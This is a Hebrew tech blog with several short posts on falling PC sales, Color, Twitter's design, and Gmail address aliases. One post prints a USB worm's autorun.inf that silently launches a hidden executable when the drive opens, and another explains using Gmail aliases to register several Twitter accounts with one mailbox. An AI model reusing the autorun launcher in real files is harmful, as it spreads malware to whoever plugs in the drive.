מדוע מכירות המחשבים האישיים והניידים בעולם בירידה?

בתקופה האחרונה אנו עדים לירידה עקבית במכירת המחשבים האישיים (PC) והמחשבים הניידים. את התופעה רבים מסבירים ביציאת הטבאלטים לשוק. אך האם זהו הגורם היחיד?
אני טוען שלא רק שלא מדובר בגורם היחיד, מכירות הטאבלטים הם אפילו לא הגורם העיקרי.

את קניית המחשבים בשוק אפשר לחלק בצורה גסה לשתי קטגוריות
1) קניית מחשב ראשון
2) שדרוג מחשב ישן

הקטגוריה הראשונה הייתה קיימת מאז שיצאו המחשבים הראשונים לשוק והיא תהייה קיימת גם בעתיד, מכיוון שכל שנה אנשים נוספים מגיעים לגיל השימוש במחשב וחברות חדשות, אשר צריכות מחשבים לצורך העבודה, קמות כל הזמן.
אך אלמנט נוסף נכנס לכאן והוא מחירי המחשבים. ככול שהזמן עובר המחשבים הופכים להיות זולים יותר ויותר. בכל הורדת מחיר שכבות נוספות של האוכלוסיה יכולות להרשות לעצמן לקנות מחשב לבית או לעבודה. ואכן אנחנו יכולים לראת שבמזרח הרחוק קיימת עליה ברכישת המחשבים האישיים והמחשבים הניידים. ייתכן שכעת הגיעו מחיר המחשבים לרמה שבה נתח נוסף משמעותי מהאוכלוסיה יכול לרכוש בו מחשב בפעם הראשונה.
לעומת זאת, בעולם המערבי לרוב המשפחות ובתי העסק יש כבר מחשב לא מעט שנים ולכן הם נופלים בקטגוריה השניה – שדרוגים.

לקוחות משדרגים את המחשבים שלהם בשני תרחישים, בלאי או אי יכולת להריץ בצורה חלקה תוכנות שונות. במשך שנים אחת התעשיות שהריצו הכי מהר את השוק הייתה תעשיית משחקי המחשב. התעשייה הזאת עדיין קיימת, אך בשנים האחרונות רבים העבירו את שעות המשחק שלהם מהמחשב האישי לקונסולות המשחק. כך הפך שדרוג המחשב לפחות רלוונטי.
בנוסף, משתמשים היום עושים שימוש בדרך כלל בתוכנות אופיס ודפדפני אינטרנט. מעבדים שנמכרו במחירים זולים-בינויים לפני שלוש או ארבע שנים ו-2 ג'יגה RAM שכבר הפך לחבילת הבסיס לפני כמה שנים, עושים את העבודה.
ההגירה המשמעותית שהתבצעה בשנים האחרונות מתוכנות שולחניות לשירותים אינטרנטיים הקטינה את הצורך במשאבי עיבוד מקומיים בצורה משמעותית עוד יותר.

נדמה לי שאלו סיבות משמעותיות יותר מאשר מאשר כניסת הטאבלטים לשוק. למרות שהם תופסים תאוצה עדיין רוב המשתמשים עושים בטאבלטים שימוש כגאדג'ט ולא כעזר עבודה או תחליף אמיתי למחשב. בנוסף, מדובר, בדומה לסמארטפונים, במכשירים שעדיין לא כל אחד יכול לקנות. להפך, מדובר במכשירים אשר, בדרך כלל, רק אנשים יכולים להרשות לעצמם מותרות קונים. פלח אוכלוסיה כל כך קטן אינו יכול להשפיע בצורה כל כך קיצונית על גרף מכירות המחשבים.

איזה כיף למצוא את זה על ה-Disk on key

כאשר הכנסתי היום את אחד מכונני הפלאש שמסתובב לנו בבית למחשב ראיתי ליד תיקייה ליגיטימית את הקובץ autorun.inf הזה:

 

 

[autorun]
USEAUTOPLAY=1
shellexecute=vjecite//jutarnjekise.exe
Shell\do\nothing
icon=vjecite//jutarnjekise.exe
open=vjecite//jutarnjekise.exe
action=Open folder to see files using Windows Explorer
}ֺֻקהפאסכžפןכפןžœֺֻװןžœšֺװŽŒדכžœšֳֺžŒֳ£קœכדžעœž¼קֳמקכך¼ךœןž
shell\\\\\\Open\\\\\\command=vjecite//jutarnjekise.exe
shell\\\\\\Explore\\\\\\command=vjecite//jutarnjekise.exe

 

מה שהיה קצת מעניין זה שהתיקייה vjecite (בקוראטית – "פנימי") הייתה מוסתרת ממש טוב ולא הצלחתי למצוא אותה בשום דרך ב-Windows. כבר חשבתי שה-AVG שמותקן על המחשב הסיר אותה, כי הוא הצליח לזהות שיש שם איום, אבל ב-Linux היא הייתה גלויה לחלוטין.

ולסיבה האמיתית שאני מפרסם את הפוסט הזה – התרגום שאני מצאתי ל-jutarnje kise (שם הוירוס) בקוראטית זה "טל". אתם לא מבינים עד כמה אני מתרגש.

כיצד לפתוח מספר חשבונות Twitter באמצעות תיבת Gmail בודדת

לא הרבה יודעים אך בכתובת הדוא"ל של Gmail מתקיימות שתי תופעות מוזרות שאינן קיימות ברוב השירותים האחרים.
ראשית, נקודות שמופיעות בכתובת לפני ה[email protected] (בשם השמשתמש) הינן חסרות משמעות מבחינת Gmail, כלומר, דוא"ל שנשלח לכתובת [email protected] יגיע לאותה התיבה גם אם הוא ימוען לכתובת [email protected] או ל[email protected] . אם אני זוכר נכון (ויכול להיות שאני לא מדייק כאן לחלוטין) הסיבה לתופעה הזאת היא שבמקור צוות הפיתוח של Gmail שכח שקיימות כתובות עם נקודה. הבעיה הזאת גרמה לשרשרת של באגים כך שבימיו הראשונים של השירות לא היה ניתן לשלוח דוא"ל לכתובות המכילות נקודה בשם המשתמש. פתרון שרשרת הבאגים, שנגרמו בגלל הפאשלה הזאת, הוליד את ההתנהגות הייחודית הזו.

תופעה נוספת מעניינת המתקיימת בשירות היא האפשרות להוסיף מחרוזת חופשית לשם המשתמש בכתובת הדוא"ל אמצעות התו + בצורה הבאה [email protected] דוא"ל שימוען לכתובת הזאת יגיע לתיבה [email protected] . במקרה הזה, לפי מה שהבנתי לא מדובר בבאג אלא בפיצ'ר. לדוגמה, ניתן לבקש מחברים לשלוח דוא"ל לכתובת [email protected] ומאנשים מהעבודה לשלוח לכתובת [email protected] לאחר מכן אפשר ליצור חוק בתיבה שינתב כל הודעה שנשלחת ל-example+friends לתיקיית החברים וכנ"ל להודעות הנשלחות ל-example+work. כך ניתן להימנע מהצורך לפתוח מספר תיבות שונות.

כמו שאתם יודעים, שירותים רבים מגבילים פתיחת חשבון יחיד לכל תיבת דוא"ל. אם תנסו לפתוח חשבון נוסף ותכניסו את אותה הכתובת, השירות יוציא לכם הודעה שאומרת שכתובת הדוא"ל נמצאת כבר בשימוש.  למשתמשים שמעוניינים במספר חשבונות שונים (חשבון אישי, חשבון מקצועי, חשבון לחברה וכו') זה לעיתים יוצר בעיה.
חלק מהשירותים אומנם בודקים את התופעה שמתרחשת ב-Gmail (לדוגמה, Facebook) אבל חלק מעלמים ממנה. Twitter הוא דוגמה לשירות שיאפשר לפתוח חשבון חדש עם הכתובת [email protected] לאחר שבכתובת [email protected] כבר בוצע שימוש לצורך רישום לשירות.

המקרה המוזר של Color

בשבועיים האחרונים תעשיית האינטרנט העולמית נאלצה להתמודד עם עב"מ מוזר – חברת Color.
החברה הוקמה על ידי יוצאי חברות אינטרנט וטכנולוגיה מהגדולות בתעשייה כולל Apple ו-Google, כאשר לכולם ברור שהצוות המרשים הזה לא יוכל לטעות.

מוצר החברה שהושק לפני כשבועיים, לאחר שנשמר בסוד מוחלט במשך כל תקופת הפיתוח הארוכה, מאפשר לנוכחים בתא שטח מסויים לצלם ביחד תמונות וליצור מהם אלבום משותף. משתמשי האינטרנט הכבדים מביניכם יודעים שאין כאן חידוש משמעותי. כבר שנים שגולשים, חברים או אנשים אשר השתתפו באירוע מסויים, יכולים ליצור אלבומים משותפים. אז במה בעצם החידוש?

מסתבר שהחידוש העיקרי הוא שסקויה (אחת מקרנות ההון סיכון הגדולות ביותר ומשמעותיות ביותר בתעשייה) השקיעה 41 מיליון דולר בחברה בסבב הגיוס הראשון. לצורך השוואה, הסכום גדול פי 100 עד פי 1000 מהסכום אותו חברות אינטרנט בשלב הזה לרוב מגייסות.

 

Color Demo from Color Labs, Inc. on Vimeo.

אז למה צריך את כל הכסף הזה?

בימים האחרונים עקבתי לא מעט אחרי הסיפור של Color וראיתי שבכל הראיונות אנשי החברה מדגישים כי קיימת טכנולוגיה משמעותית מאחורי המוצר.
לדוגמה, המוצר שלהם יודע לאכן (לזהות מיקום) משתמשים גם כאשר מקלט ה-GPS אינו מצליח לקלוט סיגנל. כך הם יכולים לדעת שקבוצת אנשים הייתה באירוע מסויים ולאפשר להם לשתף ביניהם את התמונות. כיצד הם עושים את זה?

  1. קודם כל הם מבצעים איכון כללי לרמת החצי קילומטר (על ידי קריאת GPS אחרונה או על ידי נתוני התאים הסלולארים).
  2. לאחר מכן הם מצליבים את קצב תנועת אנשים שנמצאים באותו תא השטח.
  3. לאחר מכן הם דוגמים סאונד מסביבת המכשיר, יוצרים מהדגימה חתימה ומשווים אותה לחתימות האחרות שנקלטו במקביל.

אם קיימת התאמה בין שני משתמשים או יותר בשלושת השלבים כנראה שהם נמצאים ביחד.

מבחינה טכנולוגית מדובר כאן בהישג מאוד מרשים וגם ההצלחה החלקית שלהם מדהימה אותי. אני יכול לחשוב על המון שימושים לטכנולוגיה הזאת. לדוגמה, תחליף ל-NFC לטובת "ארנקים אלקטרוניים" ושימושים רבים נוספים.
אבל כאן מדובר ב-Over Kill שיצא מפרופורציה לחלוטין. למה לא לבקש מהמשתמש להצביע על המיקום שלו בצורה ידנית כאשר אין אפשרות לאכן אותו בדרכים קלאסיות? נדמה שזה מקרה נוסף של התופעה עליה דיברתי בפוסט לא מביטים לאחור.

אך הבעיות לא נגמר בביזבוז אדיר על פיתוח טכנולוגיות לא נחוצות, החברה השיקה את המוצר כאשר ממשק המשתמש היה לא נוח ובלי מובן בעליל. יותר מזה, הרעיון הבסיסי של המוצר היה ונשאר לא ברור. וכך, מאז ההשקה החברה הצליחה לזכות בדירוג שני כוכבים ב-AppStore, ציון מביך לחלוטין לחברה שכזאת.
כאשר שואלים את עובדי החברה כיצד הציבור ילמד להשתמש בטכנולוגיה המסובכת הזאת הם מפנטזים על חינוך באמצעות פירסום בטלוויזיה ופלטפורמות דומות.

התחושה שלי היא שיש כאן מקרה קלאסי של אנשי טכנולוגיה ברמה גבוהה שיצרו מוצר מדהים שאף אחד לא ישתמש בו. העצה שאני הייתי נותן לאנשי החברה היא להתרכז בטכנולוגיות המדהימות שהם פיתחו ולא להמציא מודל שימוש עקום במוצר שלא יניב להם רווחים ראויים (יחסית להשקעה).

לאן Twitter הולכים?

Twitter נמצאים בבעיה קשה. גרפי הגדילה שלהם עדיין מראים התנהגות יפה ומרשימה אך מתחת לפני השטח יש לרשת בעיות קשות. אלו לא בעיות שמוזכרות בעיתונים וכמובן ש-Twitter עצמם לא מדברים עליהן, אבל אין לי ספק שהן יעסיקו בעתיד מאוד את המנהלים בחברה. לטובתם, אני מקווה שהבעיות האלו מתחילות להטריד אותם כבר עכשיו.

הבעיה מתחילה בתכנון הבסיסי של האתר. Twitter מתבסס על היכרויות מוקדמות (גם חד צדדיות) לטובת סינון החומר. ההנחה הייתה כי בעזרת סינון זה יהיה אפשר לעשות סדר בלאגן, כלומר, להפריד את הדברים המעניינים את המשתמש מכל רעשי הרקע שיש בשירות (שיכולים להיות מעניינים עבור משתמשים אחרים).
הבעיה מתחילה להיווצר כאשר גם האנשים שאני עוקב אחרים מתחילים לייצר הרבה זבל. דבר פשוטה לראות את זה היא על החשבון של עצמי. כיום בגלל ש-Twitter עדיין לא פופולארי בארץ ובמיוחד לא בקרב האנשים שאני מכיר, חשבון ה-Twitter שלי כמעט ולא נמצא בשימוש. מספר האנשים שאני עוקב אחריהם הוא בסביבות ה-15, ובכל זאת, מגיע לעמוד הראשי שלי המון מידע שלא מעניין אותי.
הבעיה קיימת גם ב-Facebook, אך שם המעבר על ה-News Feed מהיר יותר כיוון שפשוט הרבה יותר לעין לקלוט הודעה מעניינת מאשר ב-Twitter. זה קורה בגלל התצוגה המוקדמת ומאפיינים ויזואלים של הודעות מסוג מסויים, כך למשל אנחנו יכולים לזהות בשניה הודעה שמשתמש א' רשם למשתמש ב' על ה-Wall גם בלי לקרוא את התוכן שלה.

אין לי ספק ש-Twitter הוא שירות מעניין שבמידה כזאת או אחרת משפר את חייהם של משתמשיו, אבל זה לא אומר שלא קיימות כאן שתי תופעות שרק מחמירות. הראשונה, כפי שתיארתי, היא תכנון לקוי שהשפעותיו גדלות עם הזמן, והשניה היא סוג של "בועה".
"הבועה" של Twitter, כפי שאני רואה אותה, היא תופעה מעניינת. מצד אחד השירות כביכול פשוט לשימוש, "Idiot Proof", ומצד שני כדי להשתמש בו צריך להתאמץ לא מעט (מציאת האנשים אחריהם המשתמש רוצה לעקוב, חלוקת משתמשים לרשימות וכו'). גרף למידה קיים בכל שירות, אך כאן מתווסף אליו גורם נוסף, גם כאשר משתמשים מבינים כיצד להשתמש בשירות, הם כמעט ולא מקבלים לשומת לב. מספר העוקבים אחר רוב המשתמשים הוא מאוד מצומצם ובשל כך ההודעות שלהן למעשה "שקופות". לדוגמה, ההודעות שלי בשירות לא זוכות כמעט להתיחסות ולכן אני כמעט לא מפרסם אותן.
סלבריטאים וכתבים כמובן לא סובלים מהתופעה הזאת. תוך ימים הם משיגים אלפי "עוקבים" ורוב המשתמשים אחריהם הם עוקבים, באופן טבעי, הם בעלי מאפיינים דומים לשלהם ונזהרים מלפרסם תוכן סתמי, טיפשי או משעמם. כך נוצר מצב בו למשתמש הפשוט, הקורא ביקורות ומחקה את האנשים אותם הוא מעריץ, נדמה כי לשירות יש ערך נהדר גם עבורו, כאשר בפועל רק קבוצה מצומצמת באמת נהנהת מהשירות.
ועכשיו, כאשר אני רואה את הנתונים שהתפרסמו בימים האחרונים על כך ש-50% מההודעות נוצרות על ידי 20% מהמתשמשים, אני בכלל לא מתפלא. יש שיטענו שגם בחיי היומיום חלק קטן מהאנשים "עושים את כל הרעש" אך צריך לזכור שכרגע רוב אוכלוסיית Twitter מורכבת מקהל ה-Innovators וה-Early Edopters אשר דווקא הם יוצרים בדרך כלל את רוב הפעילות בשירותי תקשורת. כיצד יתכן שחלק כל כך גדול מהם לא עושה בשירות את השימוש המיטבי?

משהו כאן ממש לא בסדר ואם Twitter לא ישנו משהו בסיסי בשירות שלהם, אני לא רואה כיצד השירות יוכל לצבור כמות גדולה של משתמשים פעילים (פעילים באמת).